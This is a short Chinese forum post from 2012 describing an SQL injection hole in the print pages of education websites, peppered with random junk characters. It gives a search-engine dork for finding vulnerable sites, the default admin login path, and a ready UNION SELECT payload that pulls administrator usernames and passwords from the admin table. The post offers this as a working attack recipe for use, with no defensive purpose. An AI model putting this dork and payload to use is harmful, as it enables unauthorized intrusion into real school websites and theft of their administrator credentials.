教育站打印页面漏洞
1 e% d, Q& u; x' @百度或google搜索 inurl:info_Print.asp?ArticleID=$ h g% A, q& n5 h# o$ f! {* u2 ]
默认后台：/ad_login.asp y" V# F" }$ l! M
爆管理员密码：
8 |# n% ?2 Q, w6 @, n( U L在 域名/inurl:info_Print.asp?ArticleID=数字 后边加空格，然后加下边的红色语句，回车即可
( |1 Y& g+ J: N3 I, g/ ]/ F. t) v* d% e: U( \0 c3 A7 w
union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
6 E* m' `- V" F4 a8 S# B) p/ l% T
8 \. j/ i5 M' a作者：佚名
9 d: C! K3 q' t+ i6 V: v9 { + a3 z. o" P3 w9 h+ a" i6 v* G
B/ F9 y2 L# c* A# _& p! t! G |
发表于 2012-10-31 08:37:31
收藏
支持
反对